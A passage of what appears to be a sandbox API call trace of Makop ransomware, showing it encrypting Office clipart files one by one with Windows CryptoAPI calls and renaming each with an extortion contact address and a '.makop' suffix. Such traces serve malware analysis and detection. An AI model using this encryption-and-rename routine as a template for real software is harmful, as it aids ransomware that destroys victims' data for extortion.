nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1030, lpOverlapped=0x0) returned 1 [0155.546] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.546] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.546] SetEndOfFile (hFile=0xf0) returned 1 [0155.552] GetProcessHeap () returned 0x48a0000 [0155.552] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0155.552] GetProcessHeap () returned 0x48a0000 [0155.552] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0155.552] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB02229_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0155.552] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB02229_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb02229_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB02229_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb02229_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0155.554] CloseHandle (hObject=0xf0) returned 1 [0155.554] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xa16, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHIRL1.WMF", cAlternateFileName="")) returned 1 [0155.554] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL1.WMF") returned 61 [0155.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0155.557] GetProcessHeap () returned 0x48a0000 [0155.557] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0155.557] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0155.557] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0155.557] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0155.563] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.563] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.563] GetProcessHeap () returned 0x48a0000 [0155.563] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0155.563] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0155.563] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.563] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0155.564] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0155.564] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0155.564] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0155.564] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0155.564] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0155.564] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.564] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.564] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.565] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa16, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa16, lpOverlapped=0x0) returned 1 [0155.565] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa20, dwBufLen=0xa20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa20) returned 1 [0155.565] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.565] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa20, lpOverlapped=0x0) returned 1 [0155.565] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.565] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xae4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.565] SetEndOfFile (hFile=0xf0) returned 1 [0155.572] GetProcessHeap () returned 0x48a0000 [0155.572] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0155.572] GetProcessHeap () returned 0x48a0000 [0155.572] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0155.572] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL1.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0155.572] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl1.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL1.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl1.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0155.574] CloseHandle (hObject=0xf0) returned 1 [0155.574] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHIRL2.WMF", cAlternateFileName="")) returned 1 [0155.574] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL2.WMF") returned 61 [0155.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0155.576] GetProcessHeap () returned 0x48a0000 [0155.576] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0155.576] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0155.576] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0155.576] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0155.580] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.581] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.581] GetProcessHeap () returned 0x48a0000 [0155.581] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0155.581] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0155.581] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.581] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0155.581] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0155.581] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0155.581] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0155.582] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0155.582] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0155.582] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.582] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.582] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.582] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb96, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xb96, lpOverlapped=0x0) returned 1 [0155.582] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xba0, dwBufLen=0xba0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xba0) returned 1 [0155.583] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.583] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xba0, lpOverlapped=0x0) returned 1 [0155.583] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.583] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xc64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.583] SetEndOfFile (hFile=0xf0) returned 1 [0155.590] GetProcessHeap () returned 0x48a0000 [0155.590] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0155.590] GetProcessHeap () returned 0x48a0000 [0155.590] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0155.590] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL2.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0155.590] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl2.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL2.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl2.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0155.593] CloseHandle (hObject=0xf0) returned 1 [0155.593] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xa16, dwReserved0=0x0, dwReserved1=0x0, cFileName="WING1.WMF", cAlternateFileName="")) returned 1 [0155.593] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING1.WMF") returned 60 [0155.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0155.595] GetProcessHeap () returned 0x48a0000 [0155.596] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0155.596] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0155.596] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0155.596] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0155.600] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.600] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.600] GetProcessHeap () returned 0x48a0000 [0155.601] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0155.601] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0155.601] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.601] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0155.601] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0155.601] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0155.601] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0155.601] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0155.602] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0155.602] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.602] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.602] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.602] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa16, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa16, lpOverlapped=0x0) returned 1 [0155.602] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa20, dwBufLen=0xa20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa20) returned 1 [0155.602] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.602] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa20, lpOverlapped=0x0) returned 1 [0155.603] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.603] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xae4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.603] SetEndOfFile (hFile=0xf0) returned 1 [0155.610] GetProcessHeap () returned 0x48a0000 [0155.610] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0155.610] GetProcessHeap () returned 0x48a0000 [0155.611] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0155.611] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING1.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 107 [0155.611] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing1.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING1.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing1.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0155.613] CloseHandle (hObject=0xf0) returned 1 [0155.613] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x976, dwReserved0=0x0, dwReserved1=0x0, cFileName="WING2.WMF", cAlternateFileName="")) returned 1 [0155.613] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING2.WMF") returned 60 [0155.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0155.614] GetProcessHeap () returned 0x48a0000 [0155.614] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0155.614] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0155.615] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0155.615] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0155.619] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.619] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.619] GetProcessHeap () returned 0x48a0000 [0155.619] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0155.619] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0155.619] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.620] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0155.620] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0155.620] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0155.620] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0155.620] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0155.620] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0155.621] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.621] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.621] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.621] ReadFile (in: hFile=0xf0, 